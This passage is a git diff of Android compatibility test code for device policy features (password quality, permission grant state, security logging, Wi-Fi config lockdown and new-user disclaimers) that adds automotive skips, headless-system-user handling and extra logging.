+ } else {
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+ assertEquals(TEST_VALUE,
+ mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+ }
}
public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
}
public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+ return;
+ }
+
// On R and above quality should be set first.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
}
public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+ if (!deviceSupportDeprecatedPasswordQualityAPIs(
+ "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+ return;
+ }
+
// On R and above when quality is lowered, irrelevant requirements are getting reset.
mDevicePolicyManager.setPasswordQuality(
ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
// Now length should also be reset.
assertEquals(DEFAULT_LENGTH,
mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+ }
+ private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+ if (mIsAutomotive) {
+ Log.d(mTag, "Skipping " + test + "on automotive build");
+ return false;
+ }
+ return true;
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e8..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@
import android.Manifest.permission;
import android.app.UiAutomation;
import android.app.admin.DevicePolicyManager;
+import android.content.Context;
import android.content.IntentFilter;
import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@
private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
throws Exception {
- assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission, value));
- assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PRE_M_APP_PACKAGE_NAME, permission), value);
+ Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+ + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+ + permissionGrantStateToString(value) + ")");
+ boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PRE_M_APP_PACKAGE_NAME, permission, value);
+ Log.d(TAG, "Result: " + result);
+
+ assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+ permissionGrantStateToString(value)).that(result).isTrue();
+
+ assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+ Context context = mContext;
+ if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+ Log.d(TAG, "Using context for system user on device owner test because device uses "
+ + "headless system user mode");
+ context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+ }
// Install time permissions should always be granted
- PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+ PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+ PRE_M_APP_PACKAGE_NAME);
// For pre-M apps the access to the data might be prevented via app-ops. Hence check that
// they are correctly set
switch (value) {
case PERMISSION_GRANT_STATE_GRANTED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
PRE_M_APP_PACKAGE_NAME);
break;
case PERMISSION_GRANT_STATE_DENIED:
- PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+ PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
PRE_M_APP_PACKAGE_NAME);
break;
default:
- fail("unsupported policy value");
+ fail("unsupported policy value (" + value + ")");
}
}
@@ -438,9 +457,10 @@
int grantState) {
boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
PERMISSION_APP_PACKAGE_NAME, permission, grantState);
- Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
- + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
- + " on uid " + Process.myUid() + ", got " + result);
+ Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+ + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+ + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+ + ", got " + result);
return result;
}
@@ -450,12 +470,17 @@
private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
int expectedState) {
+ assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+ }
+
+ private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+ String permission, int expectedState) {
int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
- PERMISSION_APP_PACKAGE_NAME, permission);
+ packageName, permission);
assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
- mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
- permission, expectedState, permissionGrantStateToString(expectedState),
+ mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+ expectedState, permissionGrantStateToString(expectedState),
actualState, permissionGrantStateToString(actualState))
.that(actualState)
.isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c24..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
return findEvent(description, events, e -> e.getTag() == tag);
}
+ private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate) {
+ return events.stream().filter(predicate).collect(Collectors.toList());
+ }
+
private SecurityEvent findEvent(String description, List<SecurityEvent> events,
Predicate<SecurityEvent> predicate) {
- final List<SecurityEvent> matches =
- events.stream().filter(predicate).collect(Collectors.toList());
+ final List<SecurityEvent> matches = findEvents(events, predicate);
assertEquals("Invalid number of matching events: " + description, 1, matches.size());
return matches.get(0);
}
+ private void assertNumberEvents(String description, List<SecurityEvent> events,
+ Predicate<SecurityEvent> predicate, int expectedSize) {
+ assertEquals("Invalid number of matching events: " + description, expectedSize,
+ findEvents(events, predicate).size());
+ }
+
private static Object getDatum(SecurityEvent event, int index) {
final Object[] dataArray = (Object[]) event.getData();
return dataArray[index];
@@ -679,21 +689,21 @@
// The order should be consistent with the order in generatePasswordComplexityEvents(), so
// that the expected values change in the same sequence as when setting password policies.
expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
- findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
- findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
- findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+ assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
}
private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@
getInt(e, ADMIN_USER_INDEX) == userId);
}
- private void findPasswordComplexityEvent(
+ private void assertPasswordComplexityEvent(
String description, List<SecurityEvent> events, Object[] expectedPayload) {
- findEvent(description, events,
- byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+ int expectedSize = mIsAutomotive ? 0 : 1;
+ assertNumberEvents(description, events,
+ byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
}
private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
protected DevicePolicyManager mDevicePolicyManager;
protected WifiManager mWifiManager;
+ protected WifiManager mCurrentUserWifiManager;
protected WifiConfigCreator mWifiConfigCreator;
protected Instrumentation mInstrumentation;
protected UiDevice mDevice;
@@ -75,15 +76,8 @@
BasicAdminReceiver.class, /* forDeviceOwner= */ true);
mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
BasicAdminReceiver.class);
- WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
- mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
- @Override
- public List<WifiConfiguration> getConfiguredNetworks() {
- // Must always use the current user's wifi manager, otherwise it would fail on
- // headless system user (as the device owner is not the current user).
- return currentUserWifiManager.getConfiguredNetworks();
- }
- };
+ mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+ mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -127,4 +121,12 @@
protected final UserHandle getCurrentUser() {
return UserHandle.of(ActivityManager.getCurrentUser());
}
+
+ protected final List<WifiConfiguration> getConfiguredNetworks() {
+ // Must use a the WifiManager of the current user to list networks, as
+ // getConfiguredNetworks() would return empty on systems using headless system
+ // mode as that method "Return a list of all the networks configured for the current
+ // foreground user", and the system user is running in the background in this case.
+ return mCurrentUserWifiManager.getConfiguredNetworks();
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 32cc187..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
import android.os.IBinder;
import android.os.PersistableBundle;
import android.os.RemoteException;
+import android.os.SystemClock;
import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
@@ -199,6 +200,63 @@
.containsExactly(userHandle, userHandle);
}
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ // First check that the current user doesn't need it
+ UserHandle currentUser = getCurrentUser();
+ Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+ assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+ .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+ UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+ PrimaryUserService.assertCrossUserCallArrived();
+ }
+
+ @SuppressWarnings("unused")
+ private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+ ComponentName componentName) {
+
+ // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+ // check
+ int currentUserId = UserHandle.USER_NULL;
+ long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+ int waitingTimeMs = 1_000;
+ int attempt = 0;
+ int myUserId = context.getUserId();
+ do {
+ attempt++;
+ try {
+ Log.d(TAG, "checking if user " + myUserId + " is current user");
+ currentUserId = ActivityManager.getCurrentUser();
+ Log.d(TAG, "currentUserId: " + currentUserId);
+ } catch (SecurityException e) {
+ Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+ + ", waiting " + waitingTimeMs + "ms until app is authorized");
+ SystemClock.sleep(waitingTimeMs);
+
+ }
+ } while (currentUserId != myUserId && attempt < maxAttempts);
+ Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+ if (currentUserId == UserHandle.USER_NULL) {
+ throw new IllegalStateException("App could was not authorized to check current user");
+ }
+ assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+ // Now that the plumbing is done, go back to work...
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+ boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+ Log.d(TAG, "is it: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+ Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+ dpm.acknowledgeNewUserDisclaimer();
+
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+ isAcked = dpm.isNewUserDisclaimerAcknowledged();
+ Log.d(TAG, "is it now: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+ }
+
@SuppressWarnings("unused")
private static void assertAffiliatedUser(Context context,
DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@
private UserHandle runCrossUserVerification(UserActionCallback callback,
int createAndManageUserFlags, String methodName,
Set<String> currentUserPackages) throws Exception {
+ return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+ /* switchUser= */ false, currentUserPackages);
+ }
+ private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+ return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+ methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+ }
+
+ private UserHandle runCrossUserVerification(UserActionCallback callback,
+ int createAndManageUserFlags, String methodName, boolean switchUser,
+ Set<String> currentUserPackages) throws Exception {
Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
+ ", method=" + methodName);
String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@
Log.d(TAG, "creating user with PO " + profileOwner);
UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
- if (callback != null) {
+ if (switchUser) {
+ switchUserAndWaitForBroadcasts(userHandle);
+ } else if (callback != null) {
startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
} else {
startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@
public static final class PrimaryUserService extends Service {
private static final Semaphore sSemaphore = new Semaphore(0);
- private static String sError = null;
+ private static String sError;
private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@
}
static void assertCrossUserCallArrived() throws Exception {
+ Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+ + " seconds for callback");
assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
.that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
.isTrue();
@@ -504,11 +577,10 @@
}
public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
@Override
public void onEnabled(Context context, Intent intent) {
Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
- + context.getUserId());
+ + context.getUserId() + " and thread " + Thread.currentThread());
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@
} catch (InvocationTargetException e) {
error = e.getCause().toString();
}
+ if (error != null) {
+ Log.e(TAG, "Error calling method: " + error);
+ }
// Call all affiliated users
final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+ Log.d(TAG, "target users: " + targetUsers);
assertWithMessage("target users").that(targetUsers).hasSize(1);
pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
import android.content.Intent;
import android.net.wifi.WifiConfiguration;
+import android.os.Process;
import android.provider.Settings;
import android.util.Log;
@@ -54,6 +55,12 @@
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
ORIGINAL_PASSWORD);
+
+ Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+ + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+ + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+ logConfigs("setup()", getConfiguredNetworks());
+
startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
}
@@ -62,7 +69,7 @@
protected void tearDown() throws Exception {
mDevicePolicyManager.setGlobalSetting(getWho(),
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("tearDown()", configs);
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
}
public void testDeviceOwnerCanUpdateConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@
}
public void testDeviceOwnerCanRemoveConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
+ logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@
// config, and they are auto-removed when the corresponding config is removed.
// Recheck every config against the latest list of wifi configurations and skip
// those which is already auto-removed.
- if (mWifiManager.getConfiguredNetworks().stream()
- .noneMatch(c -> c.networkId == config.networkId)) continue;
-
- assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+ Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+ + " should be removed");
+ if (getConfiguredNetworks().stream()
+ .noneMatch(c -> c.networkId == config.networkId)) {
+ Log.d(TAG, "Skipping it");
+ continue;
+ }
+ Log.d(TAG, "Removing using " + mWifiManager);
+ assertWithMessage("removeNetwork(%s)", config.networkId)
.that(mWifiManager.removeNetwork(config.networkId)).isTrue();
++removeCount;
}
}
+ logConfigs("After removing " + removeCount, configs);
assertWithMessage("number of removed configs (the DO created one and the regular one)")
.that(removeCount).isEqualTo(2);
}
public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@
.that(updateCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@
}
public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@
.that(removeCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@
return;
}
Log.d(TAG, prefix + ": " + configs.size() + " configs: "
- + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
}
}
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
package com.android.cts.deviceowner.wificonfigcreator;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
/**
* A simple activity to create and manage wifi configurations.
*/
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
private static final String TAG = "WifiConfigCreatorActivity";
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
- Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
WifiConfigCreator configCreator = new WifiConfigCreator(this);
+ Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+ + configCreator);
try {
Intent intent = getIntent();
String action = intent.getAction();
@@ -49,12 +51,15 @@
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
- configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "Creating network " + ssid);
+ int netId = configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "new id : " + netId);
} else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
+ Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
configCreator.updateNetwork(netId, ssid, false, securityType, password);
} else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
Log.i(TAG, "Unknown command: " + action);
}
} catch (InterruptedException ie) {
+ Thread.currentThread().interrupt();
Log.e(TAG, "Interrupted while changing wifi settings", ie);
} finally {
finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@
}
public static void checkPermission(String permission, int expected, String packageName) {
- assertPermission(permission, packageName, getContext().getPackageManager()
- .checkPermission(permission, packageName), expected);
+ checkPermission(getContext(), permission, expected, packageName);
+ }
+
+ public static void checkPermission(Context context, String permission, int expected,
+ String packageName) {
+ PackageManager pm = context.getPackageManager();
+ Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+ + "): " + "using " + pm + " on user " + context.getUser());
+ assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+ expected);
}
private static void assertPermission(String permission, String packageName, int actual,
int expected) {
- assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
- .that(actual).isEqualTo(expected);
+ assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+ permission, packageName,
+ expected, permissionToString(expected), actual, permissionToString(actual))
+ .that(actual).isEqualTo(expected);
}
/**
- * Correctly check a runtime permission. This also works for pre-m apps.
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
*/
public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
throws Exception {
- assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
- expected);
+ checkPermissionAndAppOps(getContext(), permission, expected, packageName);
}
